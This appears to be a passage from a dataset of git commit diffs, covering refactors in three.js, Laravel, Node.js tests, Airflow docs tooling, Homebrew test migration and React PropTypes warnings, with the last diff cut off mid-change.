<del> for ( var v = 1, vl = this.vertices.length; v < vl; v ++ ) {
<del>
<del> position = this.vertices[ v ];
<del>
<del> if ( position.x < min.x ) {
<del>
<del> min.x = position.x;
<del>
<del> } else if ( position.x > max.x ) {
<del>
<del> max.x = position.x;
<del>
<del> }
<del>
<del> if ( position.y < min.y ) {
<del>
<del> min.y = position.y;
<del>
<del> } else if ( position.y > max.y ) {
<del>
<del> max.y = position.y;
<del>
<del> }
<del>
<del> if ( position.z < min.z ) {
<del>
<del> min.z = position.z;
<del>
<del> } else if ( position.z > max.z ) {
<del>
<del> max.z = position.z;
<del>
<del> }
<del>
<del> }
<del>
<del> } else {
<del>
<del> this.boundingBox.min.set( 0, 0, 0 );
<del> this.boundingBox.max.set( 0, 0, 0 );
<del>
<del> }
<del>
<add> this.boundingBox = THREE.Box3.fromPoints( this.vertices );
<ide> },
<ide>
<ide> computeBoundingSphere: function () {
<ide>
<del> var maxRadiusSq = 0;
<del>
<del> if ( this.boundingSphere === null ) this.boundingSphere = { radius: 0 };
<del>
<del> for ( var i = 0, l = this.vertices.length; i < l; i ++ ) {
<del>
<del> var radiusSq = this.vertices[ i ].lengthSq();
<del> if ( radiusSq > maxRadiusSq ) maxRadiusSq = radiusSq;
<del>
<del> }
<del>
<del> this.boundingSphere.radius = Math.sqrt( maxRadiusSq );
<del>
<add> this.boundingSphere = THREE.Sphere.fromCenterAndPoints( new THREE.Vector3(), this.vertices );
<ide> },
<ide>
<ide> /*
<ide><path>src/core/Sphere.js
<ide>
<ide> };
<ide>
<add> THREE.Sphere.fromCenterAndPoints = function ( center, points ) {
<add> var maxRadiusSq = 0;
<add> var delta = new THREE.Vector3().copy( center );
<add>
<add> for ( var i = 0, numPoints = points.length; i < numPoints; i ++ ) {
<add> var radiusSq = center.distanceToSquared( points[i] );
<add> maxRadiusSq = Math.max( maxRadiusSq, radiusSq );
<add> }
<add>
<add> return new THREE.Sphere( center, Math.sqrt( maxRadiusSq ) );
<add> };
<add>
<ide> THREE.Sphere.prototype.set = function ( center, radius ) {
<ide>
<ide> this.center = center; | 3 |
PHP | PHP | remove duplicate code | 09f9596a482a8789ecfa5b04de6e8d609b903251 | <ide><path>src/Illuminate/Database/Eloquent/Relations/HasOneOrMany.php
<ide> protected function setForeignAttributesForCreate(Model $model)
<ide> $model->setAttribute($this->getForeignKeyName(), $this->getParentKey());
<ide> }
<ide>
<del> /**
<del> * Perform an update on all the related models.
<del> *
<del> * @param array $attributes
<del> * @return int
<del> */
<del> public function update(array $attributes)
<del> {
<del> if ($this->related->usesTimestamps() && ! is_null($this->relatedUpdatedAt())) {
<del> $attributes[$this->relatedUpdatedAt()] = $this->related->freshTimestampString();
<del> }
<del>
<del> return $this->query->update($attributes);
<del> }
<del>
<ide> /**
<ide> * Add the constraints for a relationship query.
<ide> *
<ide><path>tests/Database/DatabaseEloquentHasManyTest.php
<ide> public function testUpdateOrCreateMethodCreatesNewModelWithForeignKeySet()
<ide> $this->assertInstanceOf(Model::class, $relation->updateOrCreate(['foo'], ['bar']));
<ide> }
<ide>
<del> public function testUpdateMethodUpdatesModelsWithTimestamps()
<del> {
<del> $relation = $this->getRelation();
<del> $relation->getRelated()->shouldReceive('usesTimestamps')->once()->andReturn(true);
<del> $relation->getRelated()->shouldReceive('freshTimestampString')->once()->andReturn(100);
<del> $relation->getRelated()->shouldReceive('getUpdatedAtColumn')->andReturn('updated_at');
<del> $relation->getQuery()->shouldReceive('update')->once()->with(['foo' => 'bar', 'updated_at' => 100])->andReturn('results');
<del>
<del> $this->assertEquals('results', $relation->update(['foo' => 'bar']));
<del> }
<del>
<del> public function testUpdateMethodUpdatesModelsWithNullUpdatedAt()
<del> {
<del> $relation = $this->getRelation();
<del> $relation->getRelated()->shouldReceive('usesTimestamps')->once()->andReturn(true);
<del> $relation->getRelated()->shouldReceive('getUpdatedAtColumn')->andReturn(null);
<del> $relation->getQuery()->shouldReceive('update')->once()->with(['foo' => 'bar'])->andReturn('results');
<del>
<del> $this->assertEquals('results', $relation->update(['foo' => 'bar']));
<del> }
<del>
<ide> public function testRelationIsProperlyInitialized()
<ide> {
<ide> $relation = $this->getRelation();
<ide><path>tests/Database/DatabaseEloquentHasOneTest.php
<ide> public function testCreateMethodProperlyCreatesNewModel()
<ide> $this->assertEquals($created, $relation->create(['name' => 'taylor']));
<ide> }
<ide>
<del> public function testUpdateMethodUpdatesModelsWithTimestamps()
<del> {
<del> $relation = $this->getRelation();
<del> $relation->getRelated()->shouldReceive('usesTimestamps')->once()->andReturn(true);
<del> $relation->getRelated()->shouldReceive('freshTimestampString')->once()->andReturn(100);
<del> $relation->getRelated()->shouldReceive('getUpdatedAtColumn')->andReturn('updated_at');
<del> $relation->getQuery()->shouldReceive('update')->once()->with(['foo' => 'bar', 'updated_at' => 100])->andReturn('results');
<del>
<del> $this->assertEquals('results', $relation->update(['foo' => 'bar']));
<del> }
<del>
<del> public function testUpdateMethodUpdatesModelsWithNullUpdatedAt()
<del> {
<del> $relation = $this->getRelation();
<del> $relation->getRelated()->shouldReceive('usesTimestamps')->once()->andReturn(true);
<del> $relation->getRelated()->shouldReceive('getUpdatedAtColumn')->andReturn(null);
<del> $relation->getQuery()->shouldReceive('update')->once()->with(['foo' => 'bar'])->andReturn('results');
<del>
<del> $this->assertEquals('results', $relation->update(['foo' => 'bar']));
<del> }
<del>
<ide> public function testRelationIsProperlyInitialized()
<ide> {
<ide> $relation = $this->getRelation(); | 3 |
Javascript | Javascript | improve reliability of http2-session-timeout | 9e4ae56cc7a81e299850c2525f8b1c071fabc6e6 | <ide><path>test/sequential/test-http2-session-timeout.js
<ide> const h2 = require('http2');
<ide>
<ide> const serverTimeout = common.platformTimeout(200);
<ide> const callTimeout = common.platformTimeout(20);
<del>const minRuns = Math.ceil(serverTimeout / callTimeout) * 2;
<ide> const mustNotCall = common.mustNotCall();
<ide>
<ide> const server = h2.createServer();
<ide> server.listen(0, common.mustCall(() => {
<ide>
<ide> const url = `http://localhost:${port}`;
<ide> const client = h2.connect(url);
<del> makeReq(minRuns);
<add> const startTime = process.hrtime();
<add> makeReq();
<ide>
<del> function makeReq(attempts) {
<add> function makeReq() {
<ide> const request = client.request({
<ide> ':path': '/foobar',
<ide> ':method': 'GET',
<ide> server.listen(0, common.mustCall(() => {
<ide> request.end();
<ide>
<ide> request.on('end', () => {
<del> if (attempts) {
<del> setTimeout(() => makeReq(attempts - 1), callTimeout);
<add> const diff = process.hrtime(startTime);
<add> const milliseconds = (diff[0] * 1e3 + diff[1] / 1e6);
<add> if (milliseconds < serverTimeout * 2) {
<add> setTimeout(makeReq, callTimeout);
<ide> } else {
<ide> server.removeListener('timeout', mustNotCall);
<del> client.close();
<ide> server.close();
<add> client.close();
<ide> }
<ide> });
<ide> } | 1 |
Python | Python | detect invalid package fiiters | 08faa9d181282c353d8a526d2dc2f0284c86cc0a | <ide><path>docs/build_docs.py
<ide> # specific language governing permissions and limitations
<ide> # under the License.
<ide> import argparse
<del>import fnmatch
<ide> import os
<ide> import sys
<ide> from collections import defaultdict
<ide> )
<ide> from docs.exts.docs_build.fetch_inventories import fetch_inventories # pylint: disable=no-name-in-module
<ide> from docs.exts.docs_build.github_action_utils import with_group # pylint: disable=no-name-in-module
<add>from docs.exts.docs_build.package_filter import process_package_filters # pylint: disable=no-name-in-module
<ide> from docs.exts.docs_build.spelling_checks import ( # pylint: disable=no-name-in-module
<ide> SpellingError,
<ide> display_spelling_error_summary,
<ide> def main():
<ide> for pkg in available_packages:
<ide> print(f" - {pkg}")
<ide>
<del> print("Current package filters: ", package_filters)
<del> current_packages = (
<del> [p for p in available_packages if any(fnmatch.fnmatch(p, f) for f in package_filters)]
<del> if package_filters
<del> else available_packages
<del> )
<add> if package_filters:
<add> print("Current package filters: ", package_filters)
<add> current_packages = process_package_filters(available_packages, package_filters)
<ide> with with_group(f"Documentation will be built for {len(current_packages)} package(s)"):
<ide> for pkg_no, pkg in enumerate(current_packages, start=1):
<ide> print(f"{pkg_no}. {pkg}")
<ide><path>docs/exts/docs_build/package_filter.py
<add># Licensed to the Apache Software Foundation (ASF) under one
<add># or more contributor license agreements. See the NOTICE file
<add># distributed with this work for additional information
<add># regarding copyright ownership. The ASF licenses this file
<add># to you under the Apache License, Version 2.0 (the
<add># "License"); you may not use this file except in compliance
<add># with the License. You may obtain a copy of the License at
<add>#
<add># http://www.apache.org/licenses/LICENSE-2.0
<add>#
<add># Unless required by applicable law or agreed to in writing,
<add># software distributed under the License is distributed on an
<add># "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
<add># KIND, either express or implied. See the License for the
<add># specific language governing permissions and limitations
<add># under the License.
<add>
<add>import fnmatch
<add>from typing import List, Optional
<add>
<add>
<add>def process_package_filters(available_packages: List[str], package_filters: Optional[List[str]]):
<add> """Filters the package list against a set of filters.
<add>
<add> A packet is returned if it matches at least one filter. The function keeps the order of the packages.
<add> """
<add> if not package_filters:
<add> return available_packages
<add>
<add> invalid_filters = [
<add> f for f in package_filters if not any(fnmatch.fnmatch(p, f) for p in available_packages)
<add> ]
<add> if invalid_filters:
<add> raise SystemExit(
<add> f"Some filters did not find any package: {invalid_filters}, Please check if they are correct."
<add> )
<add>
<add> return [p for p in available_packages if any(fnmatch.fnmatch(p, f) for f in package_filters)]
<ide><path>docs/publish_docs.py
<ide>
<ide> # pylint: disable=no-name-in-module
<ide> from docs.exts.docs_build.docs_builder import AirflowDocsBuilder
<add>from docs.exts.docs_build.package_filter import process_package_filters
<ide> from docs.exts.provider_yaml_utils import load_package_data
<ide>
<ide> # pylint: enable=no-name-in-module
<ide> def main():
<ide>
<ide> package_filters = args.package_filter
<ide>
<del> current_packages = (
<del> [p for p in available_packages if any(fnmatch.fnmatch(p, f) for f in package_filters)]
<del> if package_filters
<del> else available_packages
<del> )
<add> current_packages = process_package_filters(available_packages, package_filters)
<ide> print(f"Publishing docs for {len(current_packages)} package(s)")
<ide> for pkg in current_packages:
<ide> print(f" - {pkg}") | 3 |
Text | Text | add discord link in readme | b1aab9b78c88e86e16c2281bf01c653b2caa6f07 | <ide><path>README.md
<ide> The aim of the project is to create an easy to use, lightweight, 3D library with
<ide> [Migrating](https://github.com/mrdoob/three.js/wiki/Migration-Guide) —
<ide> [Questions](http://stackoverflow.com/questions/tagged/three.js) —
<ide> [Forum](https://discourse.threejs.org/) —
<del>[Slack](https://join.slack.com/t/threejs/shared_invite/enQtMzYxMzczODM2OTgxLTQ1YmY4YTQxOTFjNDAzYmQ4NjU2YzRhNzliY2RiNDEyYjU2MjhhODgyYWQ5Y2MyZTU3MWNkOGVmOGRhOTQzYTk)
<add>[Slack](https://join.slack.com/t/threejs/shared_invite/enQtMzYxMzczODM2OTgxLTQ1YmY4YTQxOTFjNDAzYmQ4NjU2YzRhNzliY2RiNDEyYjU2MjhhODgyYWQ5Y2MyZTU3MWNkOGVmOGRhOTQzYTk) —
<add>[Discord](https://discordapp.com/invite/HF4UdyF)
<ide>
<ide> ### Usage ###
<ide> | 1 |
Ruby | Ruby | convert dependency test to spec | 3abfdc9e8012fb7d36010237323a054306a1ea83 | <ide><path>Library/Homebrew/test/dependable_spec.rb
<add>require "dependable"
<add>
<add>RSpec::Matchers.alias_matcher :be_a_build_dependency, :be_build
<add>
<add>describe Dependable do
<add> subject { double(tags: tags).extend(described_class) }
<add> let(:tags) { ["foo", "bar", :build] }
<add>
<add> specify "#options" do
<add> expect(subject.options.as_flags.sort).to eq(%w[--foo --bar].sort)
<add> end
<add>
<add> specify "#build?" do
<add> expect(subject).to be_a_build_dependency
<add> end
<add>
<add> specify "#optional?" do
<add> expect(subject).not_to be_optional
<add> end
<add>
<add> specify "#recommended?" do
<add> expect(subject).not_to be_recommended
<add> end
<add>end
<ide><path>Library/Homebrew/test/dependency_spec.rb
<add>require "dependency"
<add>
<add>RSpec::Matchers.alias_matcher :be_a_build_dependency, :be_build
<add>RSpec::Matchers.alias_matcher :be_a_runtime_dependency, :be_run
<add>
<add>describe Dependency do
<add> describe "::new" do
<add> it "accepts a single tag" do
<add> dep = described_class.new("foo", %w[bar])
<add> expect(dep.tags).to eq(%w[bar])
<add> end
<add>
<add> it "accepts multiple tags" do
<add> dep = described_class.new("foo", %w[bar baz])
<add> expect(dep.tags.sort).to eq(%w[bar baz].sort)
<add> end
<add>
<add> it "preserves symbol tags" do
<add> dep = described_class.new("foo", [:build])
<add> expect(dep.tags).to eq([:build])
<add> end
<add>
<add> it "accepts symbol and string tags" do
<add> dep = described_class.new("foo", [:build, "bar"])
<add> expect(dep.tags).to eq([:build, "bar"])
<add> end
<add> end
<add>
<add> describe "::merge_repeats" do
<add> it "merges duplicate dependencies" do
<add> dep = described_class.new("foo", [:build], nil, "foo")
<add> dep2 = described_class.new("foo", ["bar"], nil, "foo2")
<add> dep3 = described_class.new("xyz", ["abc"], nil, "foo")
<add> merged = described_class.merge_repeats([dep, dep2, dep3])
<add> expect(merged.count).to eq(2)
<add> expect(merged.first).to be_a described_class
<add>
<add> foo_named_dep = merged.find { |d| d.name == "foo" }
<add> expect(foo_named_dep.tags).to eq(["bar"])
<add> expect(foo_named_dep.option_names).to include("foo")
<add> expect(foo_named_dep.option_names).to include("foo2")
<add>
<add> xyz_named_dep = merged.find { |d| d.name == "xyz" }
<add> expect(xyz_named_dep.tags).to eq(["abc"])
<add> expect(xyz_named_dep.option_names).to include("foo")
<add> expect(xyz_named_dep.option_names).not_to include("foo2")
<add> end
<add>
<add> it "merges necessity tags" do
<add> required_dep = described_class.new("foo")
<add> recommended_dep = described_class.new("foo", [:recommended])
<add> optional_dep = described_class.new("foo", [:optional])
<add>
<add> deps = described_class.merge_repeats([required_dep, recommended_dep])
<add> expect(deps.count).to eq(1)
<add> expect(deps.first).to be_required
<add> expect(deps.first).not_to be_recommended
<add> expect(deps.first).not_to be_optional
<add>
<add> deps = described_class.merge_repeats([required_dep, optional_dep])
<add> expect(deps.count).to eq(1)
<add> expect(deps.first).to be_required
<add> expect(deps.first).not_to be_recommended
<add> expect(deps.first).not_to be_optional
<add>
<add> deps = described_class.merge_repeats([recommended_dep, optional_dep])
<add> expect(deps.count).to eq(1)
<add> expect(deps.first).not_to be_required
<add> expect(deps.first).to be_recommended
<add> expect(deps.first).not_to be_optional
<add> end
<add>
<add> it "merges temporality tags" do
<add> normal_dep = described_class.new("foo")
<add> build_dep = described_class.new("foo", [:build])
<add> run_dep = described_class.new("foo", [:run])
<add>
<add> deps = described_class.merge_repeats([normal_dep, build_dep])
<add> expect(deps.count).to eq(1)
<add> expect(deps.first).not_to be_a_build_dependency
<add> expect(deps.first).not_to be_a_runtime_dependency
<add>
<add> deps = described_class.merge_repeats([normal_dep, run_dep])
<add> expect(deps.count).to eq(1)
<add> expect(deps.first).not_to be_a_build_dependency
<add> expect(deps.first).not_to be_a_runtime_dependency
<add>
<add> deps = described_class.merge_repeats([build_dep, run_dep])
<add> expect(deps.count).to eq(1)
<add> expect(deps.first).not_to be_a_build_dependency
<add> expect(deps.first).not_to be_a_runtime_dependency
<add> end
<add> end
<add>
<add> specify "equality" do
<add> foo1 = described_class.new("foo")
<add> foo2 = described_class.new("foo")
<add> expect(foo1).to eq(foo2)
<add> expect(foo1).to eql(foo2)
<add>
<add> bar = described_class.new("bar")
<add> expect(foo1).not_to eq(bar)
<add> expect(foo1).not_to eql(bar)
<add>
<add> foo3 = described_class.new("foo", [:build])
<add> expect(foo1).not_to eq(foo3)
<add> expect(foo1).not_to eql(foo3)
<add> end
<add>end
<add>
<add>describe TapDependency do
<add> subject { described_class.new("foo/bar/dog") }
<add>
<add> specify "#tap" do
<add> expect(subject.tap).to eq(Tap.new("foo", "bar"))
<add> end
<add>
<add> specify "#option_names" do
<add> expect(subject.option_names).to eq(%w[dog])
<add> end
<add>end
<ide><path>Library/Homebrew/test/dependency_test.rb
<del>require "testing_env"
<del>require "dependency"
<del>
<del>class DependableTests < Homebrew::TestCase
<del> def setup
<del> super
<del> @tags = ["foo", "bar", :build]
<del> @dep = Struct.new(:tags).new(@tags).extend(Dependable)
<del> end
<del>
<del> def test_options
<del> assert_equal %w[--foo --bar].sort, @dep.options.as_flags.sort
<del> end
<del>
<del> def test_interrogation
<del> assert_predicate @dep, :build?
<del> refute_predicate @dep, :optional?
<del> refute_predicate @dep, :recommended?
<del> end
<del>end
<del>
<del>class DependencyTests < Homebrew::TestCase
<del> def test_accepts_single_tag
<del> dep = Dependency.new("foo", %w[bar])
<del> assert_equal %w[bar], dep.tags
<del> end
<del>
<del> def test_accepts_multiple_tags
<del> dep = Dependency.new("foo", %w[bar baz])
<del> assert_equal %w[bar baz].sort, dep.tags.sort
<del> end
<del>
<del> def test_preserves_symbol_tags
<del> dep = Dependency.new("foo", [:build])
<del> assert_equal [:build], dep.tags
<del> end
<del>
<del> def test_accepts_symbol_and_string_tags
<del> dep = Dependency.new("foo", [:build, "bar"])
<del> assert_equal [:build, "bar"], dep.tags
<del> end
<del>
<del> def test_merge_repeats
<del> dep = Dependency.new("foo", [:build], nil, "foo")
<del> dep2 = Dependency.new("foo", ["bar"], nil, "foo2")
<del> dep3 = Dependency.new("xyz", ["abc"], nil, "foo")
<del> merged = Dependency.merge_repeats([dep, dep2, dep3])
<del> assert_equal 2, merged.length
<del> assert_equal Dependency, merged.first.class
<del>
<del> foo_named_dep = merged.find { |d| d.name == "foo" }
<del> assert_equal ["bar"], foo_named_dep.tags
<del> assert_includes foo_named_dep.option_names, "foo"
<del> assert_includes foo_named_dep.option_names, "foo2"
<del>
<del> xyz_named_dep = merged.find { |d| d.name == "xyz" }
<del> assert_equal ["abc"], xyz_named_dep.tags
<del> assert_includes xyz_named_dep.option_names, "foo"
<del> refute_includes xyz_named_dep.option_names, "foo2"
<del> end
<del>
<del> def test_merges_necessity_tags
<del> required_dep = Dependency.new("foo")
<del> recommended_dep = Dependency.new("foo", [:recommended])
<del> optional_dep = Dependency.new("foo", [:optional])
<del>
<del> deps = Dependency.merge_repeats([required_dep, recommended_dep])
<del> assert_equal deps.count, 1
<del> assert_predicate deps.first, :required?
<del> refute_predicate deps.first, :recommended?
<del> refute_predicate deps.first, :optional?
<del>
<del> deps = Dependency.merge_repeats([required_dep, optional_dep])
<del> assert_equal deps.count, 1
<del> assert_predicate deps.first, :required?
<del> refute_predicate deps.first, :recommended?
<del> refute_predicate deps.first, :optional?
<del>
<del> deps = Dependency.merge_repeats([recommended_dep, optional_dep])
<del> assert_equal deps.count, 1
<del> refute_predicate deps.first, :required?
<del> assert_predicate deps.first, :recommended?
<del> refute_predicate deps.first, :optional?
<del> end
<del>
<del> def test_merges_temporality_tags
<del> normal_dep = Dependency.new("foo")
<del> build_dep = Dependency.new("foo", [:build])
<del> run_dep = Dependency.new("foo", [:run])
<del>
<del> deps = Dependency.merge_repeats([normal_dep, build_dep])
<del> assert_equal deps.count, 1
<del> refute_predicate deps.first, :build?
<del> refute_predicate deps.first, :run?
<del>
<del> deps = Dependency.merge_repeats([normal_dep, run_dep])
<del> assert_equal deps.count, 1
<del> refute_predicate deps.first, :build?
<del> refute_predicate deps.first, :run?
<del>
<del> deps = Dependency.merge_repeats([build_dep, run_dep])
<del> assert_equal deps.count, 1
<del> refute_predicate deps.first, :build?
<del> refute_predicate deps.first, :run?
<del> end
<del>
<del> def test_equality
<del> foo1 = Dependency.new("foo")
<del> foo2 = Dependency.new("foo")
<del> bar = Dependency.new("bar")
<del> assert_equal foo1, foo2
<del> assert_eql foo1, foo2
<del> refute_equal foo1, bar
<del> refute_eql foo1, bar
<del> foo3 = Dependency.new("foo", [:build])
<del> refute_equal foo1, foo3
<del> refute_eql foo1, foo3
<del> end
<del>end
<del>
<del>class TapDependencyTests < Homebrew::TestCase
<del> def test_tap
<del> dep = TapDependency.new("foo/bar/dog")
<del> assert_equal Tap.new("foo", "bar"), dep.tap
<del> end
<del>
<del> def test_option_names
<del> dep = TapDependency.new("foo/bar/dog")
<del> assert_equal %w[dog], dep.option_names
<del> end
<del>end | 3 |
Javascript | Javascript | change reactproptypes invariant's to console.warn | 2cac321b2704ea1356c8657f79a2b2bc4dab3927 | <ide><path>src/core/ReactCompositeComponent.js
<ide> var ReactCompositeComponentMixin = {
<ide> for (var contextName in contextTypes) {
<ide> maskedContext[contextName] = context[contextName];
<ide> }
<del> this._checkPropTypes(
<del> contextTypes,
<del> maskedContext,
<del> ReactPropTypeLocations.context
<del> );
<add> if (__DEV__) {
<add> this._checkPropTypes(
<add> contextTypes,
<add> maskedContext,
<add> ReactPropTypeLocations.context
<add> );
<add> }
<ide> }
<ide> return maskedContext;
<ide> },
<ide> var ReactCompositeComponentMixin = {
<ide> 'use getChildContext().',
<ide> displayName
<ide> );
<del> this._checkPropTypes(
<del> this.constructor.childContextTypes,
<del> childContext,
<del> ReactPropTypeLocations.childContext
<del> );
<add> if (__DEV__) {
<add> this._checkPropTypes(
<add> this.constructor.childContextTypes,
<add> childContext,
<add> ReactPropTypeLocations.childContext
<add> );
<add> }
<ide> for (var name in childContext) {
<ide> invariant(
<ide> name in this.constructor.childContextTypes,
<ide> var ReactCompositeComponentMixin = {
<ide> props[propName] = defaultProps[propName];
<ide> }
<ide> }
<del> var propTypes = this.constructor.propTypes;
<del> if (propTypes) {
<del> this._checkPropTypes(propTypes, props, ReactPropTypeLocations.prop);
<add> if (__DEV__) {
<add> var propTypes = this.constructor.propTypes;
<add> if (propTypes) {
<add> this._checkPropTypes(propTypes, props, ReactPropTypeLocations.prop);
<add> }
<ide> }
<ide> return props;
<ide> },
<ide><path>src/core/ReactPropTypes.js
<ide> var ReactComponent = require('ReactComponent');
<ide> var ReactPropTypeLocationNames = require('ReactPropTypeLocationNames');
<ide>
<add>var warning = require('warning');
<ide> var createObjectFrom = require('createObjectFrom');
<del>var invariant = require('invariant');
<ide>
<ide> /**
<ide> * Collection of methods that allow declaration and validation of props that are
<ide> var invariant = require('invariant');
<ide> * // An optional string or URI prop named "href".
<ide> * href: function(props, propName, componentName) {
<ide> * var propValue = props[propName];
<del> * invariant(
<add> * warning(
<ide> * propValue == null ||
<ide> * typeof propValue === 'string' ||
<ide> * propValue instanceof URI,
<ide> function createPrimitiveTypeChecker(expectedType) {
<ide> if (!shouldThrow) {
<ide> return isValid;
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Invalid %s `%s` of type `%s` supplied to `%s`, expected `%s`.',
<ide> ReactPropTypeLocationNames[location],
<ide> function createEnumTypeChecker(expectedValues) {
<ide> if (!shouldThrow) {
<ide> return isValid;
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Invalid %s `%s` supplied to `%s`, expected one of %s.',
<ide> ReactPropTypeLocationNames[location],
<ide> function createShapeTypeChecker(shapeTypes) {
<ide> if (!shouldThrow) {
<ide> return isValid;
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Invalid %s `%s` of type `%s` supplied to `%s`, expected `object`.',
<ide> ReactPropTypeLocationNames[location],
<ide> function createInstanceTypeChecker(expectedClass) {
<ide> if (!shouldThrow) {
<ide> return isValid;
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Invalid %s `%s` supplied to `%s`, expected instance of `%s`.',
<ide> ReactPropTypeLocationNames[location],
<ide> function createRenderableTypeChecker() {
<ide> if (!shouldThrow) {
<ide> return isValid;
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Invalid %s `%s` supplied to `%s`, expected a renderable prop.',
<ide> ReactPropTypeLocationNames[location],
<ide> function createComponentTypeChecker() {
<ide> if (!shouldThrow) {
<ide> return isValid;
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Invalid %s `%s` supplied to `%s`, expected a React component.',
<ide> ReactPropTypeLocationNames[location],
<ide> function createChainableTypeChecker(validate) {
<ide> if (!shouldThrow) {
<ide> return isValid;
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Required %s `%s` was not specified in `%s`.',
<ide> ReactPropTypeLocationNames[location],
<ide> function createUnionTypeChecker(arrayOfValidators) {
<ide> break;
<ide> }
<ide> }
<del> invariant(
<add> warning(
<ide> isValid,
<ide> 'Invalid %s `%s` supplied to `%s`.',
<ide> ReactPropTypeLocationNames[location],
<ide><path>src/core/__tests__/ReactCompositeComponent-test.js
<ide> var ReactDoNotBindDeprecated;
<ide> var cx;
<ide> var reactComponentExpect;
<ide> var mocks;
<add>var warn;
<ide>
<ide> describe('ReactCompositeComponent', function() {
<ide>
<ide> describe('ReactCompositeComponent', function() {
<ide> <b></b>;
<ide> }
<ide> });
<add>
<add> warn = console.warn;
<add> console.warn = mocks.getMockFunction();
<add> });
<add>
<add> afterEach(function() {
<add> console.warn = warn;
<ide> });
<ide>
<ide> it('should support rendering to different child types over time', function() {
<ide> describe('ReactCompositeComponent', function() {
<ide> reactComponentExpect(instance).scalarPropsEqual({key: 'testKey'});
<ide> reactComponentExpect(instance).scalarStateEqual({key: 'testKeyState'});
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(<Component key={null} />);
<del> }).toThrow(
<del> 'Invariant Violation: Required prop `key` was not specified in ' +
<del> '`Component`.'
<add> ReactTestUtils.renderIntoDocument(<Component key={null} />);
<add>
<add> expect(console.warn.mock.calls.length).toBe(1);
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `key` was not specified in `Component`.'
<ide> );
<ide> });
<ide>
<ide> describe('ReactCompositeComponent', function() {
<ide> }
<ide> });
<ide>
<del> var instance = <Component />;
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(instance);
<del> }).toThrow(
<del> 'Invariant Violation: Required prop `key` was not specified in ' +
<del> '`Component`.'
<add> ReactTestUtils.renderIntoDocument(<Component />);
<add>
<add> expect(console.warn.mock.calls.length).toBe(1);
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `key` was not specified in `Component`.'
<ide> );
<ide> });
<ide>
<ide> describe('ReactCompositeComponent', function() {
<ide> }
<ide> });
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(<Component />);
<del> }).toThrow(
<del> 'Invariant Violation: Required prop `key` was not specified in ' +
<del> '`Component`.'
<add> ReactTestUtils.renderIntoDocument(<Component />);
<add> ReactTestUtils.renderIntoDocument(<Component key={42} />);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required prop `key` was not specified in `Component`.'
<ide> );
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(<Component key={42} />);
<del> }).toThrow(
<del> 'Invariant Violation: Invalid prop `key` of type `number` supplied to ' +
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid prop `key` of type `number` supplied to ' +
<ide> '`Component`, expected `string`.'
<ide> );
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(<Component key="string" />);
<del> }).not.toThrow();
<add> ReactTestUtils.renderIntoDocument(<Component key="string" />);
<add>
<add> // Should not error for strings
<add> expect(console.warn.mock.calls.length).toBe(2);
<ide> });
<ide>
<ide> it('should throw on invalid prop types', function() {
<ide> describe('ReactCompositeComponent', function() {
<ide> }
<ide> });
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(<Component />);
<del> }).toThrow(
<del> 'Invariant Violation: Required context `foo` was not specified in ' +
<del> '`Component`.'
<add> ReactTestUtils.renderIntoDocument(<Component />);
<add>
<add> expect(console.warn.mock.calls.length).toBe(1);
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required context `foo` was not specified in `Component`.'
<ide> );
<ide>
<del> expect(function() {
<del> React.withContext({foo: 'bar'}, function() {
<del> ReactTestUtils.renderIntoDocument(<Component />);
<del> });
<del> }).not.toThrow();
<add> React.withContext({foo: 'bar'}, function() {
<add> ReactTestUtils.renderIntoDocument(<Component />);
<add> });
<ide>
<del> expect(function() {
<del> React.withContext({foo: 123}, function() {
<del> ReactTestUtils.renderIntoDocument(<Component />);
<del> });
<del> }).toThrow(
<del> 'Invariant Violation: Invalid context `foo` of type `number` supplied ' +
<add> // Previous call should not error
<add> expect(console.warn.mock.calls.length).toBe(1);
<add>
<add> React.withContext({foo: 123}, function() {
<add> ReactTestUtils.renderIntoDocument(<Component />);
<add> });
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid context `foo` of type `number` supplied ' +
<ide> 'to `Component`, expected `string`.'
<ide> );
<ide> });
<ide> describe('ReactCompositeComponent', function() {
<ide> }
<ide> });
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(
<del> <Component testContext={{bar: 123}} />
<del> );
<del> }).toThrow(
<del> 'Invariant Violation: Required child context `foo` was not specified ' +
<del> 'in `Component`.'
<add> ReactTestUtils.renderIntoDocument(<Component testContext={{bar: 123}} />);
<add>
<add> expect(console.warn.mock.calls.length).toBe(1);
<add> expect(console.warn.mock.calls[0][0]).toBe(
<add> 'Warning: Required child context `foo` was not specified in `Component`.'
<ide> );
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(
<del> <Component testContext={{foo: 123}} />
<del> );
<del> }).toThrow(
<del> 'Invariant Violation: Invalid child context `foo` of type `number` ' +
<add> ReactTestUtils.renderIntoDocument(<Component testContext={{foo: 123}} />);
<add>
<add> expect(console.warn.mock.calls.length).toBe(2);
<add> expect(console.warn.mock.calls[1][0]).toBe(
<add> 'Warning: Invalid child context `foo` of type `number` ' +
<ide> 'supplied to `Component`, expected `string`.'
<ide> );
<ide>
<del> expect(function() {
<del> ReactTestUtils.renderIntoDocument(
